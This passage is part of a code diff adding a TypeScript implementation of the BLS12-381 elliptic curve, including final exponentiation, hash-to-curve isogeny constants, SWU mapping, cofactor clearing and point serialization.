c1c1), _2n), t4), // 2 * (T4 + c1c1) + T4 + c2: Fp2.add(Fp2.mul(Fp2.add(t6, c1c2), _2n), t6), + }), + }; // 2 * (T6 + c1c2) + T6 + }, + _cyclotomicExp(num, n) { + let z = Fp12.ONE; + for (let i = BLS_X_LEN - 1; i >= 0; i--) { + z = Fp12._cyclotomicSquare(z); + if (bitGet(n, i)) z = Fp12.mul(z, num); + } + return z; + }, + // https://eprint.iacr.org/2010/354.pdf + // https://eprint.iacr.org/2009/565.pdf + finalExponentiate: (num) => { + const x = BLS_X; + // this^(q⁶) / this + const t0 = Fp12.div(Fp12.frobeniusMap(num, 6), num); + // t0^(q²) * t0 + const t1 = Fp12.mul(Fp12.frobeniusMap(t0, 2), t0); + const t2 = Fp12.conjugate(Fp12._cyclotomicExp(t1, x)); + const t3 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicSquare(t1)), t2); + const t4 = Fp12.conjugate(Fp12._cyclotomicExp(t3, x)); + const t5 = Fp12.conjugate(Fp12._cyclotomicExp(t4, x)); + const t6 = Fp12.mul(Fp12.conjugate(Fp12._cyclotomicExp(t5, x)), Fp12._cyclotomicSquare(t2)); + const t7 = Fp12.conjugate(Fp12._cyclotomicExp(t6, x)); + const t2_t5_pow_q2 = Fp12.frobeniusMap(Fp12.mul(t2, t5), 2); + const t4_t1_pow_q3 = Fp12.frobeniusMap(Fp12.mul(t4, t1), 3); + const t6_t1c_pow_q1 = Fp12.frobeniusMap(Fp12.mul(t6, Fp12.conjugate(t1)), 1); + const t7_t3c_t1 = Fp12.mul(Fp12.mul(t7, Fp12.conjugate(t3)), t1); + // (t2 * t5)^(q²) * (t4 * t1)^(q³) * (t6 * t1.conj)^(q^1) * t7 * t3.conj * t1 + return Fp12.mul(Fp12.mul(Fp12.mul(t2_t5_pow_q2, t4_t1_pow_q3), t6_t1c_pow_q1), t7_t3c_t1); + }, +}; +const FP12_FROBENIUS_COEFFICIENTS = [ + [BigInt('0x1'), BigInt('0x0')], + [ + BigInt( + '0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8' + ), + BigInt( + '0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3' + ), + ], + [ + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffeffff' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2' + ), + BigInt( + '0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09' + ), + ], + [ + BigInt( + '0x00000000000000005f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995' + ), + BigInt( + '0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116' + ), + ], + [ + BigInt( + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaaa' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x00fc3e2b36c4e03288e9e902231f9fb854a14787b6c7b36fec0c8ec971f63c5f282d5ac14d6c7ec22cf78a126ddc4af3' + ), + BigInt( + '0x1904d3bf02bb0667c231beb4202c0d1f0fd603fd3cbd5f4f7b2443d784bab9c4f67ea53d63e7813d8d0775ed92235fb8' + ), + ], + [ + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x06af0e0437ff400b6831e36d6bd17ffe48395dabc2d3435e77f76e17009241c5ee67992f72ec05f4c81084fbede3cc09' + ), + BigInt( + '0x135203e60180a68ee2e9c448d77a2cd91c3dedd930b1cf60ef396489f61eb45e304466cf3e67fa0af1ee7b04121bdea2' + ), + ], + [ + BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaad' + ), + BigInt('0x0'), + ], + [ + BigInt( + '0x05b2cfd9013a5fd8df47fa6b48b1e045f39816240c0b8fee8beadf4d8e9c0566c63a3e6e257f87329b18fae980078116' + ), + BigInt( + '0x144e4211384586c16bd3ad4afa99cc9170df3560e77982d0db45f3536814f0bd5871c1908bd478cd1ee605167ff82995' + ), + ], +].map((n) => Fp2.fromBigTuple(n)); +// END OF CURVE FIELDS + +// HashToCurve + +// 3-isogeny map from E' to E https://www.rfc-editor.org/rfc/rfc9380#appendix-E.3 +const isogenyMapG2 = isogenyMap( + Fp2, + [ + // xNum + [ + [ + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97d6', + ], + [ + '0x0', + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71a', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71e', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38d', + ], + [ + '0x171d6541fa38ccfaed6dea691f5fb614cb14b4e7f4e810aa22d6108f142b85757098e38d0f671c7188e2aaaaaaaa5ed1', + '0x0', + ], + ], + // xDen + [ + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa63', + ], + [ + '0xc', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa9f', + ], + ['0x1', '0x0'], // LAST 1 + ], + // yNum + [ + [ + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + '0x1530477c7ab4113b59a4c18b076d11930f7da5d4a07f649bf54439d87d27e500fc8c25ebf8c92f6812cfc71c71c6d706', + ], + [ + '0x0', + '0x5c759507e8e333ebb5b7a9a47d7ed8532c52d39fd3a042a88b58423c50ae15d5c2638e343d9c71c6238aaaaaaaa97be', + ], + [ + '0x11560bf17baa99bc32126fced787c88f984f87adf7ae0c7f9a208c6b4f20a4181472aaa9cb8d555526a9ffffffffc71c', + '0x8ab05f8bdd54cde190937e76bc3e447cc27c3d6fbd7063fcd104635a790520c0a395554e5c6aaaa9354ffffffffe38f', + ], + [ + '0x124c9ad43b6cf79bfbf7043de3811ad0761b0f37a1e26286b0e977c69aa274524e79097a56dc4bd9e1b371c71c718b10', + '0x0', + ], + ], + // yDen + [ + [ + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa8fb', + ], + [ + '0x0', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffa9d3', + ], + [ + '0x12', + '0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaa99', + ], + ['0x1', '0x0'], // LAST 1 + ], + ].map((i) => i.map((pair) => Fp2.fromBigTuple(pair.map(BigInt)))) as [Fp2[], Fp2[], Fp2[], Fp2[]] +); +// 11-isogeny map from E' to E +const isogenyMapG1 = isogenyMap( + Fp, + [ + // xNum + [ + '0x11a05f2b1e833340b809101dd99815856b303e88a2d7005ff2627b56cdb4e2c85610c2d5f2e62d6eaeac1662734649b7', + '0x17294ed3e943ab2f0588bab22147a81c7c17e75b2f6a8417f565e33c70d1e86b4838f2a6f318c356e834eef1b3cb83bb', + '0xd54005db97678ec1d1048c5d10a9a1bce032473295983e56878e501ec68e25c958c3e3d2a09729fe0179f9dac9edcb0', + '0x1778e7166fcc6db74e0609d307e55412d7f5e4656a8dbf25f1b33289f1b330835336e25ce3107193c5b388641d9b6861', + '0xe99726a3199f4436642b4b3e4118e5499db995a1257fb3f086eeb65982fac18985a286f301e77c451154ce9ac8895d9', + '0x1630c3250d7313ff01d1201bf7a74ab5db3cb17dd952799b9ed3ab9097e68f90a0870d2dcae73d19cd13c1c66f652983', + '0xd6ed6553fe44d296a3726c38ae652bfb11586264f0f8ce19008e218f9c86b2a8da25128c1052ecaddd7f225a139ed84', + '0x17b81e7701abdbe2e8743884d1117e53356de5ab275b4db1a682c62ef0f2753339b7c8f8c8f475af9ccb5618e3f0c88e', + '0x80d3cf1f9a78fc47b90b33563be990dc43b756ce79f5574a2c596c928c5d1de4fa295f296b74e956d71986a8497e317', + '0x169b1f8e1bcfa7c42e0c37515d138f22dd2ecb803a0c5c99676314baf4bb1b7fa3190b2edc0327797f241067be390c9e', + '0x10321da079ce07e272d8ec09d2565b0dfa7dccdde6787f96d50af36003b14866f69b771f8c285decca67df3f1605fb7b', + '0x6e08c248e260e70bd1e962381edee3d31d79d7e22c837bc23c0bf1bc24c6b68c24b1b80b64d391fa9c8ba2e8ba2d229', + ], + // xDen + [ + '0x8ca8d548cff19ae18b2e62f4bd3fa6f01d5ef4ba35b48ba9c9588617fc8ac62b558d681be343df8993cf9fa40d21b1c', + '0x12561a5deb559c4348b4711298e536367041e8ca0cf0800c0126c2588c48bf5713daa8846cb026e9e5c8276ec82b3bff', + '0xb2962fe57a3225e8137e629bff2991f6f89416f5a718cd1fca64e00b11aceacd6a3d0967c94fedcfcc239ba5cb83e19', + '0x3425581a58ae2fec83aafef7c40eb545b08243f16b1655154cca8abc28d6fd04976d5243eecf5c4130de8938dc62cd8', + '0x13a8e162022914a80a6f1d5f43e7a07dffdfc759a12062bb8d6b44e833b306da9bd29ba81f35781d539d395b3532a21e', + '0xe7355f8e4e667b955390f7f0506c6e9395735e9ce9cad4d0a43bcef24b8982f7400d24bc4228f11c02df9a29f6304a5', + '0x772caacf16936190f3e0c63e0596721570f5799af53a1894e2e073062aede9cea73b3538f0de06cec2574496ee84a3a', + '0x14a7ac2a9d64a8b230b3f5b074cf01996e7f63c21bca68a81996e1cdf9822c580fa5b9489d11e2d311f7d99bbdcc5a5e', + '0xa10ecf6ada54f825e920b3dafc7a3cce07f8d1d7161366b74100da67f39883503826692abba43704776ec3a79a1d641', + '0x95fc13ab9e92ad4476d6e3eb3a56680f682b4ee96f7d03776df533978f31c1593174e4b4b7865002d6384d168ecdd0a', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + // yNum + [ + '0x90d97c81ba24ee0259d1f094980dcfa11ad138e48a869522b52af6c956543d3cd0c7aee9b3ba3c2be9845719707bb33', + '0x134996a104ee5811d51036d776fb46831223e96c254f383d0f906343eb67ad34d6c56711962fa8bfe097e75a2e41c696', + '0xcc786baa966e66f4a384c86a3b49942552e2d658a31ce2c344be4b91400da7d26d521628b00523b8dfe240c72de1f6', + '0x1f86376e8981c217898751ad8746757d42aa7b90eeb791c09e4a3ec03251cf9de405aba9ec61deca6355c77b0e5f4cb', + '0x8cc03fdefe0ff135caf4fe2a21529c4195536fbe3ce50b879833fd221351adc2ee7f8dc099040a841b6daecf2e8fedb', + '0x16603fca40634b6a2211e11db8f0a6a074a7d0d4afadb7bd76505c3d3ad5544e203f6326c95a807299b23ab13633a5f0', + '0x4ab0b9bcfac1bbcb2c977d027796b3ce75bb8ca2be184cb5231413c4d634f3747a87ac2460f415ec961f8855fe9d6f2', + '0x987c8d5333ab86fde9926bd2ca6c674170a05bfe3bdd81ffd038da6c26c842642f64550fedfe935a15e4ca31870fb29', + '0x9fc4018bd96684be88c9e221e4da1bb8f3abd16679dc26c1e8b6e6a1f20cabe69d65201c78607a360370e577bdba587', + '0xe1bba7a1186bdb5223abde7ada14a23c42a0ca7915af6fe06985e7ed1e4d43b9b3f7055dd4eba6f2bafaaebca731c30', + '0x19713e47937cd1be0dfd0b8f1d43fb93cd2fcbcb6caf493fd1183e416389e61031bf3a5cce3fbafce813711ad011c132', + '0x18b46a908f36f6deb918c143fed2edcc523559b8aaf0c2462e6bfe7f911f643249d9cdf41b44d606ce07c8a4d0074d8e', + '0xb182cac101b9399d155096004f53f447aa7b12a3426b08ec02710e807b4633f06c851c1919211f20d4c04f00b971ef8', + '0x245a394ad1eca9b72fc00ae7be315dc757b3b080d4c158013e6632d3c40659cc6cf90ad1c232a6442d9d3f5db980133', + '0x5c129645e44cf1102a159f748c4a3fc5e673d81d7e86568d9ab0f5d396a7ce46ba1049b6579afb7866b1e715475224b', + '0x15e6be4e990f03ce4ea50b3b42df2eb5cb181d8f84965a3957add4fa95af01b2b665027efec01c7704b456be69c8b604', + ], + // yDen + [ + '0x16112c4c3a9c98b252181140fad0eae9601a6de578980be6eec3232b5be72e7a07f3688ef60c206d01479253b03663c1', + '0x1962d75c2381201e1a0cbd6c43c348b885c84ff731c4d59ca4a10356f453e01f78a4260763529e3532f6102c2e49a03d', + '0x58df3306640da276faaae7d6e8eb15778c4855551ae7f310c35a5dd279cd2eca6757cd636f96f891e2538b53dbf67f2', + '0x16b7d288798e5395f20d23bf89edb4d1d115c5dbddbcd30e123da489e726af41727364f2c28297ada8d26d98445f5416', + '0xbe0e079545f43e4b00cc912f8228ddcc6d19c9f0f69bbb0542eda0fc9dec916a20b15dc0fd2ededda39142311a5001d', + '0x8d9e5297186db2d9fb266eaac783182b70152c65550d881c5ecd87b6f0f5a6449f38db9dfa9cce202c6477faaf9b7ac', + '0x166007c08a99db2fc3ba8734ace9824b5eecfdfa8d0cf8ef5dd365bc400a0051d5fa9c01a58b1fb93d1a1399126a775c', + '0x16a3ef08be3ea7ea03bcddfabba6ff6ee5a4375efa1f4fd7feb34fd206357132b920f5b00801dee460ee415a15812ed9', + '0x1866c8ed336c61231a1be54fd1d74cc4f9fb0ce4c6af5920abc5750c4bf39b4852cfe2f7bb9248836b233d9d55535d4a', + '0x167a55cda70a6e1cea820597d94a84903216f763e13d87bb5308592e7ea7d4fbc7385ea3d529b35e346ef48bb8913f55', + '0x4d2f259eea405bd48f010a01ad2911d9c6dd039bb61a6290e591b36e636a5c871a5c29f4f83060400f8b49cba8f6aa8', + '0xaccbb67481d033ff5852c1e48c50c477f94ff8aefce42d28c0f9a88cea7913516f968986f7ebbea9684b529e2561092', + '0xad6b9514c767fe3c3613144b45f1496543346d98adf02267d5ceef9a00d9b8693000763e3b90ac11e99b138573345cc', + '0x2660400eb2e4f3b628bdd0d53cd76f2bf565b94e72927c1cb748df27942480e420517bd8714cc80d1fadc1326ed06f7', + '0xe0fa1d816ddc03e6b24255e0d7819c171c40f65e273b853324efcd6356caa205ca2f570f13497804415473a1d634b8f', + '0x000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001', // LAST 1 + ], + ].map((i) => i.map((j) => BigInt(j))) as [Fp[], Fp[], Fp[], Fp[]] +); + +// SWU Map - Fp2 to G2': y² = x³ + 240i * x + 1012 + 1012i +const G2_SWU = mapToCurveSimpleSWU(Fp2, { + A: Fp2.create({ c0: Fp.create(_0n), c1: Fp.create(BigInt(240)) }), // A' = 240 * I + B: Fp2.create({ c0: Fp.create(BigInt(1012)), c1: Fp.create(BigInt(1012)) }), // B' = 1012 * (1 + I) + Z: Fp2.create({ c0: Fp.create(BigInt(-2)), c1: Fp.create(BigInt(-1)) }), // Z: -(2 + I) +}); +// Optimized SWU Map - Fp to G1 +const G1_SWU = mapToCurveSimpleSWU(Fp, { + A: Fp.create( + BigInt( + '0x144698a3b8e9433d693a02c96d4982b0ea985383ee66a8d8e8981aefd881ac98936f8da0e0f97f5cf428082d584c1d' + ) + ), + B: Fp.create( + BigInt( + '0x12e2908d11688030018b12e8753eee3b2016c1f0f24f4070a0b9c14fcef35ef55a23215a316ceaa5d1cc48e98e172be0' + ) + ), + Z: Fp.create(BigInt(11)), +}); + +// Endomorphisms (for fast cofactor clearing) +// Ψ(P) endomorphism +const ut_root = Fp6.create({ c0: Fp2.ZERO, c1: Fp2.ONE, c2: Fp2.ZERO }); +const wsq = Fp12.create({ c0: ut_root, c1: Fp6.ZERO }); +const wcu = Fp12.create({ c0: Fp6.ZERO, c1: ut_root }); +const [wsq_inv, wcu_inv] = Fp12.invertBatch([wsq, wcu]); +function psi(x: Fp2, y: Fp2): [Fp2, Fp2] { + // Untwist Fp2->Fp12 && frobenius(1) && twist back + const x2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wsq_inv, x), 1), wsq).c0.c0; + const y2 = Fp12.mul(Fp12.frobeniusMap(Fp12.multiplyByFp2(wcu_inv, y), 1), wcu).c0.c0; + return [x2, y2]; +} +// Ψ endomorphism +function G2psi(c: ProjConstructor, P: ProjPointType) { + const affine = P.toAffine(); + const p = psi(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} +// Ψ²(P) endomorphism +// 1 / F2(2)^((p-1)/3) in GF(p²) +const PSI2_C1 = BigInt( + '0x1a0111ea397fe699ec02408663d4de85aa0d857d89759ad4897d29650fb85f9b409427eb4f49fffd8bfd00000000aaac' +); + +function psi2(x: Fp2, y: Fp2): [Fp2, Fp2] { + return [Fp2.mul(x, PSI2_C1), Fp2.neg(y)]; +} +function G2psi2(c: ProjConstructor, P: ProjPointType) { + const affine = P.toAffine(); + const p = psi2(affine.x, affine.y); + return new c(p[0], p[1], Fp2.ONE); +} + +// Default hash_to_field options are for hash to G2. +// +// Parameter definitions are in section 5.3 of the spec unless otherwise noted. +// Parameter values come from section 8.8.2 of the spec. +// https://www.rfc-editor.org/rfc/rfc9380#section-8.8.2 +// +// Base field F is GF(p^m) +// p = 0x1a0111ea397fe69a4b1ba7b6434bacd764774b84f38512bf6730d2a0f6b0f6241eabfffeb153ffffb9feffffffffaaab +// m = 2 (or 1 for G1 see section 8.8.1) +// k = 128 +const htfDefaults = Object.freeze({ + // DST: a domain separation tag + // defined in section 2.2.5 + // Use utils.getDSTLabel(), utils.setDSTLabel(value) + DST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + encodeDST: 'BLS_SIG_BLS12381G2_XMD:SHA-256_SSWU_RO_NUL_', + // p: the characteristic of F + // where F is a finite field of characteristic p and order q = p^m + p: Fp.ORDER, + // m: the extension degree of F, m >= 1 + // where F is a finite field of characteristic p and order q = p^m + m: 2, + // k: the target security level for the suite in bits + // defined in section 5.1 + k: 128, + // option to use a message that has already been processed by + // expand_message_xmd + expand: 'xmd', + // Hash functions for: expand_message_xmd is appropriate for use with a + // wide range of hash functions, including SHA-2, SHA-3, BLAKE2, and others. + // BBS+ uses blake2: https://github.com/hyperledger/aries-framework-go/issues/2247 + hash: sha256, +} as const); + +// Encoding utils +// Point on G1 curve: (x, y) +const C_BIT_POS = Fp.BITS; // C_bit, compression bit for serialization flag +const I_BIT_POS = Fp.BITS + 1; // I_bit, point-at-infinity bit for serialization flag +const S_BIT_POS = Fp.BITS + 2; // S_bit, sign bit for serialization flag +// Compressed point of infinity +const COMPRESSED_ZERO = Fp.toBytes(bitSet(bitSet(_0n, I_BIT_POS, true), S_BIT_POS, true)); // set compressed & point-at-infinity bits + +function signatureG2ToRawBytes(point: ProjPointType) { + // NOTE: by some reasons it was missed in bls12-381, looks like bug + point.assertValidity(); + const len = Fp.BYTES; + if (point.equals(bls12_381.G2.ProjectivePoint.ZERO)) + return concatB(COMPRESSED_ZERO, numberToBytesBE(_0n, len)); + const { x, y } = point.toAffine(); + const { re: x0, im: x1 } = Fp2.reim(x); + const { re: y0, im: y1 } = Fp2.reim(y); + const tmp = y1 > _0n ? y1 * _2n : y0 * _2n; + const aflag1 = Boolean((tmp / Fp.ORDER) & _1n); + const z1 = bitSet(bitSet(x1, 381, aflag1), S_BIT_POS, true); + const z2 = x0; + return concatB(numberToBytesBE(z1, len), numberToBytesBE(z2, len)); +} + +// To verify curve parameters, see pairing-friendly-curves spec: +// https://datatracker.ietf.org/doc/html/draft-irtf-cfrg-pairing-friendly-curves-11 +// Basic math is done over finite fields over p. +// More complicated math is done over polynominal extension fields. +// To simplify calculations in Fp12, we construct extension tower: +// Fp₁₂ = Fp₆² => Fp₂³ +// Fp(u) / (u² - β) where β = -1 +// Fp₂(v) / (v³ - ξ) where ξ = u + 1 +// Fp₆(w) / (w² - γ) where γ = v +// Here goes constants && point encoding format +export const bls12_381: CurveFn = bls({ + // Fields + fields: { + Fp, + Fp2, + Fp6, + Fp12, + Fr, + }, + // G1 is the order-q subgroup of E1(Fp) : y² = x³ + 4, #E1(Fp) = h1q, where + // characteristic; z + (z⁴ - z² + 1)(z - 1)²/3 + G1: { + Fp, + // cofactor; (z - 1)²/3 + h: BigInt('0x396c8c005555e1568c00aaab0000aaab'), + // generator's coordinates + // x = 3685416753713387016781088315183077757961620795782546409894578378688607592378376318836054947676345821548104185464507 + // y = 1339506544944476473020471379941921221584933875938349620426543736416511423956333506472724655353366534992391756441569 + Gx: BigInt( + '0x17f1d3a73197d7942695638c4fa9ac0fc3688c4f9774b905a14e3a3f171bac586c55e83ff97a1aeffb3af00adb22c6bb' + ), + Gy: BigInt( + '0x08b3f481e3aaa0f1a09e30ed741d8ae4fcf5e095d5d00af600db18cb2c04b3edd03cc744a2888ae40caa232946c5e7e1' + ), + a: Fp.ZERO, + b: _4n, + htfDefaults: { ...htfDefaults, m: 1 }, + wrapPrivateKey: true, + allowInfinityPoint: true, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, point): boolean => { + // φ endomorphism + const cubicRootOfUnityModP = BigInt( + '0x5f19672fdf76ce51ba69c6076a0f77eaddb3a93be6f89688de17d813620a00022e01fffffffefffe' + ); + const phi = new c(Fp.mul(point.px, cubicRootOfUnityModP), point.py, point.pz); + + // todo: unroll + const xP = point.multiplyUnsafe(bls12_381.params.x).negate(); // [x]P + const u2P = xP.multiplyUnsafe(bls12_381.params.x); // [u2]P + return u2P.equals(phi); + + // https://eprint.iacr.org/2019/814.pdf + // (z² − 1)/3 + // const c1 = BigInt('0x396c8c005555e1560000000055555555'); + // const P = this; + // const S = P.sigma(); + // const Q = S.double(); + // const S2 = S.sigma(); + // // [(z² − 1)/3](2σ(P) − P − σ²(P)) − σ²(P) = O + // const left = Q.subtract(P).subtract(S2).multiplyUnsafe(c1); + // const C = left.subtract(S2); + // return C.isZero(); + }, + // Clear cofactor of G1 + // https://eprint.iacr.org/2019/403 + clearCofactor: (_c, point) => { + // return this.multiplyUnsafe(CURVE.h); + return point.multiplyUnsafe(bls12_381.params.x).add(point); // x*P + P + }, + mapToCurve: (scalars: bigint[]) => { + const { x, y } = G1_SWU(Fp.create(scalars[0])); + return isogenyMapG1(x, y); + }, + fromBytes: (bytes: Uint8Array): AffinePoint => { + bytes = bytes.slice(); + if (bytes.length === 48) { + // TODO: Fp.bytes + const P = Fp.ORDER; + const compressedValue = bytesToNumberBE(bytes); + const bflag = bitGet(compressedValue, I_BIT_POS); + // Zero + if (bflag === _1n) return { x: _0n, y: _0n }; + const x = Fp.create(compressedValue & Fp.MASK); + const right = Fp.add(Fp.pow(x, _3n), Fp.create(bls12_381.params.G1b)); // y² = x³ + b + let y = Fp.sqrt(right); + if (!y) throw new Error('Invalid compressed G1 point'); + const aflag = bitGet(compressedValue, C_BIT_POS); + if ((y * _2n) / P !== aflag) y = Fp.neg(y); + return { x: Fp.create(x), y: Fp.create(y) }; + } else if (bytes.length === 96) { + // Check if the infinity flag is set + if ((bytes[0] & (1 << 6)) !== 0) return bls12_381.G1.ProjectivePoint.ZERO.toAffine(); + const x = bytesToNumberBE(bytes.subarray(0, Fp.BYTES)); + const y = bytesToNumberBE(bytes.subarray(Fp.BYTES)); + return { x: Fp.create(x), y: Fp.create(y) }; + } else { + throw new Error('Invalid point G1, expected 48/96 bytes'); + } + }, + toBytes: (c, point, isCompressed) => { + const isZero = point.equals(c.ZERO); + const { x, y } = point.toAffine(); + if (isCompressed) { + if (isZero) return COMPRESSED_ZERO.slice(); + const P = Fp.ORDER; + let num; + num = bitSet(x, C_BIT_POS, Boolean((y * _2n) / P)); // set aflag + num = bitSet(num, S_BIT_POS, true); + return numberToBytesBE(num, Fp.BYTES); + } else { + if (isZero) { + // 2x PUBLIC_KEY_LENGTH + const x = concatB(new Uint8Array([0x40]), new Uint8Array(2 * Fp.BYTES - 1)); + return x; + } else { + return concatB(numberToBytesBE(x, Fp.BYTES), numberToBytesBE(y, Fp.BYTES)); + } + } + }, + }, + // G2 is the order-q subgroup of E2(Fp²) : y² = x³+4(1+√−1), + // where Fp2 is Fp[√−1]/(x2+1). #E2(Fp2 ) = h2q, where + // G² - 1 + // h2q + G2: { + Fp: Fp2, + // cofactor + h: BigInt( + '0x5d543a95414e7f1091d50792876a202cd91de4547085abaa68a205b2e5a7ddfa628f1cb4d9e82ef21537e293a6691ae1616ec6e786f0c70cf1c38e31c7238e5' + ), + Gx: Fp2.fromBigTuple([ + BigInt( + '0x024aa2b2f08f0a91260805272dc51051c6e47ad4fa403b02b4510b647ae3d1770bac0326a805bbefd48056c8c121bdb8' + ), + BigInt( + '0x13e02b6052719f607dacd3a088274f65596bd0d09920b61ab5da61bbdc7f5049334cf11213945d57e5ac7d055d042b7e' + ), + ]), + // y = + // 927553665492332455747201965776037880757740193453592970025027978793976877002675564980949289727957565575433344219582, + // 1985150602287291935568054521177171638300868978215655730859378665066344726373823718423869104263333984641494340347905 + Gy: Fp2.fromBigTuple([ + BigInt( + '0x0ce5d527727d6e118cc9cdc6da2e351aadfd9baa8cbdd3a76d429a695160d12c923ac9cc3baca289e193548608b82801' + ), + BigInt( + '0x0606c4a02ea734cc32acd2b02bc28b99cb3e287e85a763af267492ab572e99ab3f370d275cec1da1aaa9075ff05f79be' + ), + ]), + a: Fp2.ZERO, + b: Fp2.fromBigTuple([_4n, _4n]), + hEff: BigInt( + '0xbc69f08f2ee75b3584c6a0ea91b352888e2a8e9145ad7689986ff031508ffe1329c2f178731db956d82bf015d1212b02ec0ec69d7477c1ae954cbc06689f6a359894c0adebbf6b4e8020005aaa95551' + ), + htfDefaults: { ...htfDefaults }, + wrapPrivateKey: true, + allowInfinityPoint: true, + mapToCurve: (scalars: bigint[]) => { + const { x, y } = G2_SWU(Fp2.fromBigTuple(scalars)); + return isogenyMapG2(x, y); + }, + // Checks is the point resides in prime-order subgroup. + // point.isTorsionFree() should return true for valid points + // It returns false for shitty points. + // https://eprint.iacr.org/2021/1130.pdf + isTorsionFree: (c, P): boolean => { + return P.multiplyUnsafe(bls12_381.params.x).negate().equals(G2psi(c, P)); // ψ(P) == [u](P) + // Older version: https://eprint.iacr.org/2019/814.pdf + // Ψ²(P) => Ψ³(P) => [z]Ψ³(P) where z = -x => [z]Ψ³(P) - Ψ²(P) + P == O + // return P.psi2().psi().mulNegX().subtract(psi2).add(P).isZero(); + }, + // Maps the point into the prime-order subgroup G2. + // clear_cofactor_bls12381_g2 from cfrg-hash-to-curve-11 + // https://eprint.iacr.org/2017/419.pdf + // prettier-ignore + clearCofactor: (c, P) => { + const x = bls12_381.params.x; + let t1 = P.multiplyUnsafe(x).negate(); // [-x]P + let t2 = G2psi(c, P); // Ψ(P) + let t3 = P.double(); // 2P + t3 = G2psi2(c, t3); // Ψ²(2P) + t3 = t3.subtract(t2); // Ψ²(2P) - Ψ(P) + t2 = t1.add(t2); // [-x]P + Ψ(P) + t2 = t2.multiplyUnsafe(x).negate(); // [x²]P - [x]Ψ(P) + t3 = t3.add(t2); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + t3 = t3.subtract(t1); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P + const Q = t3.subtract(P); // Ψ²(2P) - Ψ(P) + [x²]P - [x]Ψ(P) + [x]P - 1P + return Q; // [x²-x-1]P + [x-1]Ψ(P) + Ψ²(2P) + }, + fromBytes: (bytes: Uint8Array): AffinePoint => { + bytes = bytes.slice(); + const m_byte = bytes[0] & 0xe0; + if (m_byte === 0x20 || m_byte === 0x60 || m_byte === 0xe0) { + throw new Error('Invalid encoding flag: ' + m_byte); + } + const bitC = m_byte & 0x80; // compression bit + const bitI = m_byte & 0x40; // point at infinity bit + const bitS = m_byte & 0x20; // sign bit + const L = Fp.BYTES; + const slc = (b: Uint8Array, from: number, to?: number) => bytesToNumberBE(b.slice(from, to)); + if (bytes.length === 96 && bitC) { + const b = bls12_381.params.G2b; + const P = Fp.ORDER; + + bytes[0] = bytes[0] & 0x1f; // clear flags + if (bitI) { + // check that all bytes are 0 + if (bytes.reduce((p, c) => (p !== 0 ? c + 1 : c), 0) > 0) { + throw new Error('Invalid compressed G2 point'); + } + return { x: Fp2.ZERO, y: Fp2.ZERO }; + } + const x_1 = slc(bytes, 0, L); + const x_0 = slc(bytes, L, 2 * L); + const x = Fp2.create({ c0: Fp.create(x_0), c1: Fp.create(x_1) }); + const right = Fp2.add(Fp2.pow(x, 